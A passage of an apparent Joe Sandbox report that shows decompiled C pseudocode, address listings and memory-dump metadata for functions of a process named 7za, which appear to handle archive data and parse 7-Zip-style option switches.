				E0046B890(E00476AE2, _t319);
				_t317 = __ecx;
				_t305 = 0;
				if( *((char*)(__ecx + 0x110)) == 0) {
					_t250 =  *(__ecx + 0x24);
					if(_t250 != 0) {
						__eflags = _t250;
						 *(_t319 - 0x18) = 0;
						 *(_t319 - 0x14) = 0;
						 *(_t319 - 0x10) = 0;
						if(_t250 > 0) {
							do {
								_t303 =  *(_t319 - 0x10);
								__eflags =  *(_t317 + 0x38);
								_t211 =  *((intOrPtr*)( *((intOrPtr*)(_t317 + 0x28)) + _t303 * 4));
								_t314 =  *((intOrPtr*)(_t211 + 0x20));
								_t246 =  *((intOrPtr*)(_t211 + 0x24));
								 *((intOrPtr*)(_t319 - 0x20)) = _t314;
								if( *(_t317 + 0x38) == 0) {
									__eflags = _t303 - _t250 - 1;
									if(__eflags >= 0) {
										_t315 = _t317 + 0x94;
										E00408767(_t315, __eflags, 0);
										_t314 =  *((intOrPtr*)(_t319 - 0x20));
										 *( *(_t315 + 0xc)) =  *(_t319 - 0x14);
									} else {
										E0042389F(_t317 + 0x6c,  *(_t319 - 0x18) + _t246,  *(_t319 - 0x14));
									}
									_t215 = 1;
									__eflags = _t314 - _t215;
									 *(_t319 - 0x1c) = _t215;
									if(_t314 > _t215) {
										do {
											E00415C6D(_t317 + 0x94,  *(_t319 - 0x1c) +  *(_t319 - 0x14));
											 *(_t319 - 0x1c) =  *(_t319 - 0x1c) + 1;
											__eflags =  *(_t319 - 0x1c) - _t314;
										} while ( *(_t319 - 0x1c) < _t314);
									}
								}
								 *(_t319 - 0x18) =  *(_t319 - 0x18) + _t246;
								 *(_t319 - 0x14) =  *(_t319 - 0x14) + _t314;
								E0042389F(_t317 + 0x58, _t246, _t314);
								_t250 =  *(_t317 + 0x24);
								 *(_t319 - 0x10) =  *(_t319 - 0x10) + 1;
								__eflags =  *(_t319 - 0x10) - _t250;
							} while ( *(_t319 - 0x10) < _t250);
							_t305 = 0;
							__eflags = 0;
						}
						_t160 =  *(_t317 + 0x38);
						__eflags = _t160 - _t305;
						if(_t160 != _t305) {
							 *(_t319 - 0x10) =  *(_t319 - 0x10) & 0x00000000;
							__eflags = _t160;
							if(_t160 > 0) {
								_t65 = _t319 - 0x1c;
								 *_t65 =  *(_t319 - 0x1c) & 0x00000000;
								__eflags =  *_t65;
								do {
									_t278 = 0;
									_t205 =  *((intOrPtr*)(_t317 + 0x3c)) +  *(_t319 - 0x1c);
									_t244 =  *_t205;
									__eflags = _t244;
									if(_t244 > 0) {
										_t302 =  *((intOrPtr*)(_t317 + 0x64));
										do {
											_t278 = _t278 +  *_t302;
											_t302 = _t302 + 8;
											_t244 = _t244 - 1;
											__eflags = _t244;
										} while (_t244 != 0);
									}
									_t313 = _t205[2];
									_t301 = _t205[1] + _t278;
									_t245 = 0;
									__eflags = _t313;
									if(_t313 > 0) {
										_t281 =  *((intOrPtr*)(_t317 + 0x64)) + 4;
										__eflags = _t281;
										do {
											_t245 = _t245 +  *_t281;
											_t281 = _t281 + 8;
											_t313 = _t313 - 1;
											__eflags = _t313;
										} while (_t313 != 0);
									}
									E0042389F(_t317 + 0x6c, _t301, _t205[3] + _t245);
									 *(_t319 - 0x10) =  *(_t319 - 0x10) + 1;
									 *(_t319 - 0x1c) =  *(_t319 - 0x1c) + 0x10;
									__eflags =  *(_t319 - 0x10) -  *(_t317 + 0x38);
								} while ( *(_t319 - 0x10) <  *(_t317 + 0x38));
							}
							_t312 = 0;
							__eflags =  *(_t319 - 0x14);
							if( *(_t319 - 0x14) > 0) {
								do {
									_t276 =  *(_t317 + 0x74);
									_t299 = 0;
									__eflags = _t276;
									if(_t276 <= 0) {
										L31:
										_t299 = _t299 | 0xffffffff;
										__eflags = _t299;
									} else {
										_t202 =  *((intOrPtr*)(_t317 + 0x78)) + 4;
										__eflags = _t202;
										while(1) {
											__eflags =  *_t202 - _t312;
											if( *_t202 == _t312) {
												goto L32;
											}
											_t299 = _t299 + 1;
											_t202 = _t202 + 8;
											__eflags = _t299 - _t276;
											if(_t299 < _t276) {
												continue;
											} else {
												goto L31;
											}
											goto L32;
										}
									}
									L32:
									__eflags = _t299 - 0xffffffff;
									if(_t299 == 0xffffffff) {
										E00415C6D(_t317 + 0x94, _t312);
									}
									_t312 = _t312 + 1;
									__eflags = _t312 -  *(_t319 - 0x14);
								} while (_t312 <  *(_t319 - 0x14));
							}
						}
						_t307 = 0;
						__eflags =  *(_t319 - 0x18);
						if( *(_t319 - 0x18) > 0) {
							do {
								_t274 =  *(_t317 + 0x74);
								_t298 = 0;
								__eflags = _t274;
								if(_t274 <= 0) {
									L40:
									_t298 = _t298 | 0xffffffff;
									__eflags = _t298;
								} else {
									_t199 =  *((intOrPtr*)(_t317 + 0x78));
									while(1) {
										__eflags =  *_t199 - _t307;
										if( *_t199 == _t307) {
											goto L41;
										}
										_t298 = _t298 + 1;
										_t199 = _t199 + 8;
										__eflags = _t298 - _t274;
										if(_t298 < _t274) {
											continue;
										} else {
											goto L40;
										}
										goto L41;
									}
								}
								L41:
								__eflags = _t298 - 0xffffffff;
								if(_t298 == 0xffffffff) {
									E00415C6D(_t317 + 0x80, _t307);
								}
								_t307 = _t307 + 1;
								__eflags = _t307 -  *(_t319 - 0x18);
							} while (_t307 <  *(_t319 - 0x18));
						}
						__eflags =  *(_t317 + 0x88);
						if( *(_t317 + 0x88) == 0) {
							 *(_t319 - 0x1c) = 1;
							E0046B8F4(_t319 - 0x1c, 0x47e128);
						}
						_t162 =  *((intOrPtr*)( *((intOrPtr*)(_t317 + 0x8c))));
						while(1) {
							_t163 = E00424159(_t317 + 0x58, _t162, _t319 - 0x1c, _t319 - 0x10);
							_t254 =  *(_t319 - 0x1c);
							_t308 = 0;
							__eflags = _t254;
							if(_t254 <= 0) {
								goto L50;
							}
							_t196 =  *((intOrPtr*)(_t317 + 0x64)) + 4;
							__eflags = _t196;
							do {
								_t308 = _t308 +  *_t196;
								_t196 = _t196 + 8;
								_t254 = _t254 - 1;
								__eflags = _t254;
							} while (_t254 != 0);
							L50:
							_t255 =  *(_t317 + 0x74);
							_t296 = 0;
							__eflags = _t255;
							if(_t255 <= 0) {
								L54:
								_t164 = _t163 | 0xffffffff;
								__eflags = _t164;
							} else {
								_t194 =  *((intOrPtr*)(_t317 + 0x78)) + 4;
								__eflags = _t194;
								while(1) {
									__eflags =  *_t194 - _t308;
									if( *_t194 == _t308) {
										break;
									}
									_t296 = _t296 + 1;
									_t194 = _t194 + 8;
									__eflags = _t296 - _t255;
									if(_t296 < _t255) {
										continue;
									} else {
										goto L54;
									}
									goto L55;
								}
								_t164 = _t296;
							}
							L55:
							__eflags = _t164;
							if(_t164 >= 0) {
								_t162 =  *((intOrPtr*)( *((intOrPtr*)(_t317 + 0x78)) + _t164 * 8));
								continue;
							}
							_t256 =  *(_t317 + 0x9c);
							_t297 = 0;
							__eflags = _t256;
							if(_t256 > 0) {
								_t188 =  *((intOrPtr*)(_t317 + 0xa0));
								while(1) {
									__eflags =  *_t188 - _t308;
									if(__eflags == 0) {
										break;
									}
									_t297 = _t297 + 1;
									_t188 = _t188 + 4;
									__eflags = _t297 - _t256;
									if(_t297 < _t256) {
										continue;
									} else {
									}
									goto L64;
								}
								_t243 = _t317 + 0x94;
								 *((intOrPtr*)( *((intOrPtr*)(_t317 + 0x94)) + 4))(_t297, 1);
								E00408767(_t243, __eflags, 0);
								 *((intOrPtr*)( *((intOrPtr*)(_t243 + 0xc)))) = _t308;
							}
							L64:
							__eflags =  *((char*)(_t317 + 0x48));
							if( *((char*)(_t317 + 0x48)) != 0) {
								_t310 =  *(_t317 + 0x9c);
								_t241 = 0;
								__eflags = _t310;
								 *(_t319 - 0x1c) = _t310;
								if(_t310 > 0) {
									do {
										E0042389F(_t317 + 0x6c,  *(_t319 - 0x18) + _t241,  *((intOrPtr*)( *((intOrPtr*)(_t317 + 0xa0)) + _t241 * 4)));
										_t241 = _t241 + 1;
										__eflags = _t241 - _t310;
									} while (_t241 < _t310);
								}
								E0040862D();
								_t242 = 0;
								__eflags = _t310;
								if(_t310 > 0) {
									 *(_t319 - 0x18) = _t319 - 0x44;
									do {
										E00404AD0(_t319 - 0x44, 4);
										 *(_t319 - 0x44) = 0x47b178;
										 *(_t319 - 0x48) =  *(_t319 - 0x48) & 0x00000000;
										_t175 = 1;
										 *((intOrPtr*)(_t319 - 0x2c)) = _t175;
										 *((intOrPtr*)(_t319 - 0x28)) = _t175;
										 *(_t319 - 4) = 2;
										_push(_t319 - 0x4c);
										 *((intOrPtr*)(_t319 - 0x4c)) = 0x6f10701;
										E00428BB4(_t317 + 0x1c);
										_t178 = 1;
										E0042389F(_t317 + 0x58, _t178, _t178);
										E00415C6D(_t317 + 0x94,  *(_t319 - 0x14) + _t242);
										 *(_t319 - 0x44) = 0x47b178;
										 *(_t319 - 4) = 3;
										E0040862D();
										 *(_t319 - 4) =  *(_t319 - 4) | 0xffffffff;
										E00408604(_t319 - 0x44);
										_t242 = _t242 + 1;
										__eflags = _t242 -  *(_t319 - 0x1c);
									} while (_t242 <  *(_t319 - 0x1c));
								}
							}
							goto L70;
						}
					} else {
						if( *((char*)(__ecx + 0x48)) == 0) {
							 *(_t319 - 0x1c) = 1;
							E0046B8F4(_t319 - 0x1c, 0x47e128);
						}
						if( *(_t317 + 0x38) != _t305) {
							 *(_t319 - 0x1c) = 1;
							E0046B8F4(_t319 - 0x1c, 0x47e128);
						}
						E00428B61(_t319 - 0x6c);
						_t247 = 1;
						_push(_t319 - 0x74);
						 *(_t319 - 4) = _t305;
						 *(_t319 - 0x54) = _t247;
						 *(_t319 - 0x50) = _t247;
						 *((intOrPtr*)(_t319 - 0x74)) = 0x6f10701;
						 *(_t319 - 0x70) = _t305;
						E00428BB4(_t317 + 0x1c);
						_t225 = _t247;
						_push(_t225);
						_t226 = _t247;
						_push(_t226);
						E0042389F(_t317 + 0x58);
						E00415C6D(_t317 + 0x80, _t305);
						E00415C6D(_t317 + 0x94, _t305);
						 *(_t319 - 0x6c) = 0x47b178;
						 *(_t319 - 0x1c) = _t319 - 0x6c;
						 *(_t319 - 4) = _t247;
						E0040862D();
						 *(_t319 - 4) =  *(_t319 - 4) | 0xffffffff;
						E00408604(_t319 - 0x6c);
					}
					L70:
					_t240 =  *(_t317 + 0x24) - 1;
					if(_t240 >= 0) {
						_t309 = _t317 + 0xfc;
						do {
							E0042389F(_t309,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t317 + 0x28)) + _t240 * 4)))),  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t317 + 0x28)) + _t240 * 4)) + 4)));
							_t240 = _t240 - 1;
						} while (_t240 >= 0);
					}
					_push(0xa8);
					_t258 = E004079F2();
					 *(_t319 - 0x1c) = _t258;
					_t330 = _t258;
					 *(_t319 - 4) = 4;
					if(_t258 == 0) {
						_t166 = 0;
						__eflags = 0;
					} else {
						_push(_t317 + 0x58);
						_t166 = E004233F8(_t258, _t330);
					}
					 *(_t319 - 4) =  *(_t319 - 4) | 0xffffffff;
					 *((intOrPtr*)(_t317 + 0xf8)) = _t166;
					E00423685(_t166, _t317 + 0xa8);
					 *((char*)(_t317 + 0x110)) = 1;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t319 - 0xc));
				return 0;
			}

0x004285b2
0x004285bc
0x004285bf
0x004285c8
0x004285ce
0x004285d3
0x00428687
0x00428689
0x0042868c
0x0042868f
0x00428692
0x00428698
0x0042869b
0x0042869e
0x004286a2
0x004286a5
0x004286a8
0x004286ab
0x004286ae
0x004286b1
0x004286b3
0x004286c8
0x004286d2
0x004286dd
0x004286e0
0x004286b5
0x004286c1
0x004286c1
0x004286e4
0x004286e5
0x004286e7
0x004286ea
0x004286ec
0x004286fb
0x00428700
0x00428703
0x00428703
0x004286ec
0x004286ea
0x00428708
0x0042870b
0x00428713
0x00428718
0x0042871b
0x0042871e
0x0042871e
0x00428727
0x00428727
0x00428727
0x00428729
0x0042872c
0x0042872e
0x00428734
0x00428738
0x0042873a
0x0042873c
0x0042873c
0x0042873c
0x00428740
0x00428743
0x00428745
0x00428748
0x0042874a
0x0042874c
0x0042874e
0x00428751
0x00428751
0x00428753
0x00428756
0x00428756
0x00428756
0x00428751
0x0042875c
0x0042875f
0x00428761
0x00428763
0x00428765
0x0042876a
0x0042876a
0x0042876d
0x0042876d
0x0042876f
0x00428772
0x00428772
0x00428772
0x0042876d
0x0042877f
0x00428784
0x0042878a
0x0042878e
0x0042878e
0x00428740
0x00428793
0x00428795
0x00428798
0x0042879a
0x0042879a
0x0042879d
0x0042879f
0x004287a1
0x004287b5
0x004287b5
0x004287b5
0x004287a3
0x004287a6
0x004287a6
0x004287a9
0x004287a9
0x004287ab
0x00000000
0x00000000
0x004287ad
0x004287ae
0x004287b1
0x004287b3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004287b3
0x004287a9
0x004287b8
0x004287b8
0x004287bb
0x004287c4
0x004287c4
0x004287c9
0x004287ca
0x004287ca
0x0042879a
0x00428798
0x004287cf
0x004287d1
0x004287d4
0x004287d6
0x004287d6
0x004287d9
0x004287db
0x004287dd
0x004287ee
0x004287ee
0x004287ee
0x004287df
0x004287df
0x004287e2
0x004287e2
0x004287e4
0x00000000
0x00000000
0x004287e6
0x004287e7
0x004287ea
0x004287ec
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004287ec
0x004287e2
0x004287f1
0x004287f1
0x004287f4
0x004287fd
0x004287fd
0x00428802
0x00428803
0x00428803
0x004287d6
0x00428808
0x0042880f
0x0042881a
0x00428821
0x00428821
0x0042882c
0x0042882e
0x0042883a
0x0042883f
0x00428842
0x00428844
0x00428846
0x00000000
0x00000000
0x0042884b
0x0042884b
0x0042884e
0x0042884e
0x00428850
0x00428853
0x00428853
0x00428853
0x00428856
0x00428856
0x00428859
0x0042885b
0x0042885d
0x00428871
0x00428871
0x00428871
0x0042885f
0x00428862
0x00428862
0x00428865
0x00428865
0x00428867
0x00000000
0x00000000
0x00428869
0x0042886a
0x0042886d
0x0042886f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042886f
0x00428880
0x00428880
0x00428874
0x00428874
0x00428876
0x0042887b
0x00000000
0x0042887b
0x00428884
0x0042888a
0x0042888c
0x0042888e
0x00428890
0x00428896
0x00428896
0x00428898
0x00000000
0x00000000
0x0042889a
0x0042889b
0x0042889e
0x004288a0
0x00000000
0x00000000
0x004288a2
0x00000000
0x004288a0
0x004288aa
0x004288b5
0x004288bc
0x004288c4
0x004288c4
0x004288c6
0x004288c6
0x004288ca
0x004288d0
0x004288d6
0x004288d8
0x004288da
0x004288dd
0x004288df
0x004288f1
0x004288f6
0x004288f7
0x004288f7
0x004288df
0x00428901
0x00428906
0x00428908
0x0042890a
0x00428918
0x0042891b
0x00428920
0x00428925
0x0042892a
0x0042892e
0x00428932
0x00428935
0x0042893b
0x00428942
0x00428943
0x0042894a
0x00428954
0x00428957
0x00428968
0x0042896d
0x00428973
0x0042897a
0x0042897f
0x00428986
0x0042898b
0x0042898c
0x0042898c
0x0042891b
0x0042890a
0x00000000
0x004288ca
0x004285d9
0x004285dd
0x004285e8
0x004285ef
0x004285ef
0x004285f7
0x00428602
0x00428609
0x00428609
0x00428611
0x0042861b
0x0042861f
0x00428620
0x00428623
0x00428626
0x00428629
0x00428630
0x00428633
0x0042863c
0x0042863d
0x0042863f
0x00428640
0x00428641
0x0042864d
0x00428659
0x00428661
0x00428668
0x0042866e
0x00428671
0x00428676
0x0042867d
0x0042867d
0x00428991
0x00428994
0x00428997
0x00428999
0x0042899f
0x004289ac
0x004289b1
0x004289b1
0x0042899f
0x004289b4
0x004289bf
0x004289c1
0x004289c4
0x004289c6
0x004289cd
0x004289da
0x004289da
0x004289cf
0x004289d2
0x004289d3
0x004289d3
0x004289dc
0x004289e9
0x004289ef
0x004289f4
0x004289f4
0x00428a03
0x00428a0b

APIs

__EH_prolog.LIBCMT ref: 004285B2
__CxxThrowException@8.LIBC ref: 004285EF
__CxxThrowException@8.LIBC ref: 00428609
__CxxThrowException@8.LIBC ref: 00428821

Part of subcall function 0046B8F4: RaiseException.KERNEL32(0047CF70,?,00405CA1,?,?,?,0047CF70,?,?,?,00405CA1), ref: 0046B922

Part of subcall function 00424159: __CxxThrowException@8.LIBC ref: 00424193

Part of subcall function 00428BB4: __EH_prolog.LIBCMT ref: 00428BB9

Part of subcall function 004079F2: __CxxThrowException@8.LIBC ref: 00407A11

Part of subcall function 004233F8: __EH_prolog.LIBCMT ref: 004233FD

Strings

-B, xrefs: 00428661, 00428913

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 004256CE, Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 374

C-Code - Quality: 89%

			E004256CE(void* __ecx) {
				void* __edi;
				void* __esi;
				intOrPtr _t148;
				signed int _t149;
				intOrPtr _t153;
				signed int _t155;
				signed int _t158;
				intOrPtr* _t160;
				signed int* _t161;
				void* _t163;
				signed int _t178;
				signed int _t182;
				signed int* _t183;
				signed int _t195;
				signed int _t197;
				signed int _t198;
				signed int _t199;
				signed int _t200;
				signed int _t201;
				signed int _t202;
				signed int _t203;
				signed int _t204;
				signed int _t205;
				signed int _t206;
				signed int _t207;
				void* _t209;
				signed int _t213;
				intOrPtr* _t218;
				signed int _t220;
				void* _t223;
				intOrPtr _t236;
				signed int _t237;
				void* _t273;
				signed int* _t299;
				intOrPtr _t306;
				intOrPtr _t307;
				signed int _t313;
				signed int _t315;
				void* _t316;

				E0046B890(E004765A8, _t316);
				_t311 = __ecx;
				E00403532(_t316 - 0x20,  *((intOrPtr*)(_t316 + 8)));
				_t305 = 0;
				 *((intOrPtr*)(_t316 - 4)) = 0;
				E00407ED0( *((intOrPtr*)(_t316 - 0x20)));
				if( *(_t316 - 0x1c) != 0) {
					_t228 =  *((intOrPtr*)(_t316 - 0x20));
					_t148 =  *((intOrPtr*)( *((intOrPtr*)(_t316 - 0x20))));
					__eflags = _t148 - 0x58;
					if(_t148 != 0x58) {
						__eflags = _t148 - 0x53;
						if(_t148 != 0x53) {
							_t149 = E00408053(_t228, L"CRC");
							__eflags = _t149;
							if(_t149 != 0) {
								_t220 = E004263BA(_t316 - 0x20, _t316 - 0x10);
								E004072C9(_t316 - 0x20, _t316 - 0x2c, _t220);
								__eflags = _t220;
								 *((char*)(_t316 - 4)) = 1;
								if(_t220 != 0) {
									L42:
									__eflags =  *(_t316 - 0x10) - 0x2710;
									if( *(_t316 - 0x10) <= 0x2710) {
										_t153 =  *((intOrPtr*)(_t311 + 0x44));
										__eflags =  *(_t316 - 0x10) - _t153;
										if( *(_t316 - 0x10) >= _t153) {
											_t306 =  *((intOrPtr*)(_t311 + 0x10));
											 *(_t316 - 0x10) =  *(_t316 - 0x10) - _t153;
											__eflags = _t306 -  *(_t316 - 0x10);
											if(_t306 >  *(_t316 - 0x10)) {
												L49:
												_t307 =  *((intOrPtr*)( *((intOrPtr*)(_t311 + 0x14)) +  *(_t316 - 0x10) * 4));
												__eflags =  *(_t316 - 0x28);
												 *((intOrPtr*)(_t316 - 0x14)) = _t307;
												if( *(_t316 - 0x28) != 0) {
													_t155 = E00425B6E(_t316 - 0x2c);
													__eflags = _t155;
													if(_t155 < 0) {
														L60:
														E00407A18( *((intOrPtr*)(_t316 - 0x2c)));
														E00407A18( *((intOrPtr*)(_t316 - 0x20)));
														_t158 = 0x80070057;
														goto L73;
													}
													 *((short*)(_t316 - 0x48)) = 0;
													 *((short*)(_t316 - 0x46)) = 0;
													_t160 = 0x48c9b0 + (_t155 + _t155 * 2) * 4;
													_t236 =  *_t160;
													 *((char*)(_t316 - 4)) = 7;
													__eflags = _t236 - 4;
													 *((intOrPtr*)(_t316 - 0x50)) = _t236;
													if(_t236 == 4) {
														L61:
														_t161 =  *(_t160 + 8);
														_t237 = 0;
														__eflags = 0;
														while(1) {
															__eflags =  *_t161;
															if( *_t161 == 0) {
																break;
															}
															_t237 = _t237 + 1;
															_t161 =  &(_t161[0]);
														}
														_t163 = E004072C9(_t316 - 0x2c, _t316 - 0x38, _t237);
														_push(_t316 + 8);
														 *((char*)(_t316 - 4)) = 8;
														_t305 = E00426261(_t163,  *(_t316 + 0xc), _t311);
														 *((char*)(_t316 - 4)) = 7;
														E00407A18( *((intOrPtr*)(_t316 - 0x38)));
														__eflags = _t305;
														if(_t305 == 0) {
															E0040C1A0(_t316 - 0x48,  *((intOrPtr*)(_t316 + 8)));
															__eflags =  *(_t316 - 0x10) -  *((intOrPtr*)(_t311 + 0x50));
															if( *(_t316 - 0x10) <=  *((intOrPtr*)(_t311 + 0x50))) {
																 *((intOrPtr*)(_t311 + 0x4c)) =  *((intOrPtr*)(_t316 + 8));
															}
															L69:
															_push(_t316 - 0x50);
															E00425C04( *((intOrPtr*)(_t316 - 0x14)));
															 *((char*)(_t316 - 4)) = 1;
															E0040C20F(_t316 - 0x48);
															L70:
															_t313 = 0;
															__eflags = 0;
															L71:
															E00407A18( *((intOrPtr*)(_t316 - 0x2c)));
															goto L72;
														}
														 *((char*)(_t316 - 4)) = 1;
														E0040C20F(_t316 - 0x48);
														L66:
														E00407A18( *((intOrPtr*)(_t316 - 0x2c)));
														E00407A18( *((intOrPtr*)(_t316 - 0x20)));
														_t158 = _t305;
														goto L73;
													}
													__eflags = _t236 - 1;
													if(_t236 == 1) {
														goto L61;
													}
													__eflags = _t236 - 2;
													if(_t236 == 2) {
														goto L61;
													}
													_t178 = E0042518A(_t316 - 0x2c);
													__eflags = _t178;
													if(_t178 < 0) {
														L59:
														 *((char*)(_t316 - 4)) = 1;
														E0040C20F(_t316 - 0x48);
														goto L60;
													}
													_t180 = _t178 + _t178 * 2;
													asm("movsd");
													asm("movsd");
													asm("movsd");
													 *((intOrPtr*)(_t316 - 0x50)) =  *((intOrPtr*)(0x48c9b0 + (_t178 + _t178 * 2) * 4));
													asm("movsd");
													_t182 = E00425124( *((intOrPtr*)(0x48c9b0 + _t180 * 4 + 4)), _t316 - 0x48);
													__eflags = _t182;
													if(_t182 != 0) {
														goto L69;
													}
													goto L59;
												}
												_t183 =  *(_t316 + 0xc);
												__eflags =  *_t183 - 8;
												if( *_t183 != 8) {
													goto L45;
												}
												E00403532(_t316 - 0x38, _t183[2]);
												_push(_t316 - 0x38);
												_push(_t307);
												 *((char*)(_t316 - 4)) = 6;
												_t313 = E004251BA(_t311, __eflags);
												E00407A18( *((intOrPtr*)(_t316 - 0x38)));
												__eflags = _t313;
												if(_t313 == 0) {
													goto L70;
												}
												goto L71;
											}
											_t223 = _t311 + 8;
											do {
												E00405B9F(_t316 - 0x58);
												 *((intOrPtr*)(_t316 - 0x58)) = 0x47b178;
												 *((char*)(_t316 - 4)) = 4;
												E0040351A(_t316 - 0x44);
												_push(_t316 - 0x58);
												 *((char*)(_t316 - 4)) = 5;
												E00425C5B(_t223, _t306);
												 *((char*)(_t316 - 4)) = 1;
												E00422D4A(_t316 - 0x58);
												_t306 = _t306 + 1;
												__eflags = _t306 -  *(_t316 - 0x10);
											} while (_t306 <=  *(_t316 - 0x10));
											goto L49;
										}
										L45:
										_t313 = 0x80070057;
										goto L71;
									}
									_t313 = 0x80004005;
									goto L71;
								}
								E00407399(_t316 - 0x20, _t316 - 0x38, 2);
								 *((char*)(_t316 - 4)) = 2;
								_t195 = E0040807A(0x48c4a8);
								__eflags = _t195;
								 *((char*)(_t316 - 4)) = 1;
								E00407A18( *((intOrPtr*)(_t316 - 0x38)));
								__eflags = _t220 & 0xffffff00 | _t195 == 0x00000000;
								if((_t220 & 0xffffff00 | _t195 == 0x00000000) == 0) {
									_t197 = E0040807A(L"RSFX");
									__eflags = _t197;
									if(_t197 != 0) {
										_t198 = E0040807A("F");
										__eflags = _t198;
										if(_t198 != 0) {
											_t199 = E0040807A(L"HC");
											__eflags = _t199;
											if(_t199 != 0) {
												_t200 = E0040807A(L"HCF");
												__eflags = _t200;
												if(_t200 != 0) {
													_t201 = E0040807A(L"HE");
													__eflags = _t201;
													if(_t201 != 0) {
														_t202 = E0040807A(L"TC");
														__eflags = _t202;
														if(_t202 != 0) {
															_t203 = E0040807A(L"TA");
															__eflags = _t203;
															if(_t203 != 0) {
																_t204 = E0040807A(L"TM");
																__eflags = _t204;
																if(_t204 != 0) {
																	_t205 = E0040807A(0x48bb98);
																	__eflags = _t205;
																	if(_t205 != 0) {
																		 *(_t316 - 0x10) = 0;
																		goto L42;
																	}
																	_t299 =  *(_t316 + 0xc);
																	_t273 = _t311 + 0x40;
																	L34:
																	_t206 = E0042633E(_t273, _t299);
																	L30:
																	_t313 = _t206;
																	goto L71;
																}
																_t299 =  *(_t316 + 0xc);
																_t273 = _t311 + 0x37;
																goto L34;
															}
															_t299 =  *(_t316 + 0xc);
															_t273 = _t311 + 0x36;
															goto L34;
														}
														_t299 =  *(_t316 + 0xc);
														_t273 = _t311 + 0x35;
														goto L34;
													}
													_t206 = E0042633E(_t311 + 0x34,  *(_t316 + 0xc));
													__eflags = _t206;
													if(_t206 == 0) {
														 *((char*)(_t311 + 0x33)) = 1;
														goto L70;
													}
													goto L30;
												}
												 *((char*)(_t316 + 0xb)) = 1;
												_t207 = E0042633E(_t316 + 0xb,  *(_t316 + 0xc));
												__eflags = _t207;
												if(_t207 == 0) {
													__eflags =  *((char*)(_t316 + 0xb));
													if( *((char*)(_t316 + 0xb)) == 0) {
														_t305 = 0x80070057;
													}
												} else {
													_t305 = _t207;
												}
												goto L66;
											}
											_t299 =  *(_t316 + 0xc);
											_t273 = _t311 + 0x32;
											goto L34;
										}
										_t299 =  *(_t316 + 0xc);
										_t273 = _t311 + 0x38;
										goto L34;
									}
									_t299 =  *(_t316 + 0xc);
									_t273 = _t311 + 0x1c;
									goto L34;
								}
								_t209 = E004072C9(_t316 - 0x20, _t316 - 0x38, 2);
								 *((char*)(_t316 - 4)) = 3;
								_t313 = E004263EB(_t209,  *(_t316 + 0xc),  *((intOrPtr*)(_t311 + 0x48)), _t311);
								E00407A18( *((intOrPtr*)(_t316 - 0x38)));
								__eflags = _t313;
								if(_t313 != 0) {
									goto L71;
								}
								goto L70;
							}
							_t315 = __ecx + 4;
							__eflags = _t315;
							 *_t315 = 4;
							E004075A5(_t316 - 0x20, 0, 3);
							_push(_t315);
							goto L12;
						}
						E004075A5(_t316 - 0x20, 0, 1);
						__eflags =  *(_t316 - 0x1c);
						if( *(_t316 - 0x1c) != 0) {
							__eflags =  *( *(_t316 + 0xc));
							if( *( *(_t316 + 0xc)) != 0) {
								goto L1;
							}
							_push(_t316 - 0x20);
							_t213 = E0042547B(__ecx);
						} else {
							_push( *(_t316 + 0xc));
							_t213 = E00425585(__ecx);
						}
						goto L7;
					} else {
						E004075A5(_t316 - 0x20, 0, 1);
						_t218 = __ecx + 0x3c;
						_push(_t218);
						 *_t218 = 9;
						L12:
						_t213 = E00426145(_t316 - 0x20,  *(_t316 + 0xc));
						L7:
						_t313 = _t213;
						L72:
						E00407A18( *((intOrPtr*)(_t316 - 0x20)));
						_t158 = _t313;
						L73:
						 *[fs:0x0] =  *((intOrPtr*)(_t316 - 0xc));
						return _t158;
					}
				}
				L1:
				_t313 = 0x80070057;
				goto L72;
			}

0x004256d3
0x004256de
0x004256e6
0x004256ee
0x004256f0
0x004256f3
0x004256fb
0x00425707
0x0042570a
0x0042570d
0x00425711
0x0042572a
0x0042572e
0x0042576b
0x00425770
0x00425772
0x004257a1
0x004257ab
0x004257b0
0x004257b2
0x004257b6
0x00425957
0x00425957
0x0042595e
0x0042596a
0x0042596d
0x00425970
0x0042597c
0x0042597f
0x00425982
0x00425985
0x004259c6
0x004259ce
0x004259d1
0x004259d4
0x004259d7
0x00425a18
0x00425a1d
0x00425a1f
0x00425a97
0x00425a9a
0x00425aa2
0x00425aa8
0x00000000
0x00425aad
0x00425a24
0x00425a28
0x00425a2c
0x00425a33
0x00425a35
0x00425a39
0x00425a3c
0x00425a3f
0x00425ab3
0x00425ab3
0x00425ab6
0x00425ab6
0x00425ab8
0x00425ab8
0x00425abb
0x00000000
0x00000000
0x00425abd
0x00425abf
0x00425abf
0x00425aca
0x00425ad5
0x00425ad8
0x00425ae4
0x00425ae6
0x00425aea
0x00425aef
0x00425af2
0x00425b1c
0x00425b24
0x00425b27
0x00425b2c
0x00425b2c
0x00425b2f
0x00425b35
0x00425b36
0x00425b3e
0x00425b42
0x00425b47
0x00425b47
0x00425b47
0x00425b49
0x00425b4c
0x00000000
0x00425b51
0x00425af7
0x00425afb
0x00425b00
0x00425b03
0x00425b0b
0x00425b11
0x00000000
0x00425b13
0x00425a41
0x00425a44
0x00000000
0x00000000
0x00425a46
0x00425a49
0x00000000
0x00000000
0x00425a4e
0x00425a53
0x00425a55
0x00425a8b
0x00425a8e
0x00425a92
0x00000000
0x00425a92
0x00425a5f
0x00425a62
0x00425a71
0x00425a72
0x00425a73
0x00425a7d
0x00425a7e
0x00425a83
0x00425a85
0x00000000
0x00000000
0x00000000
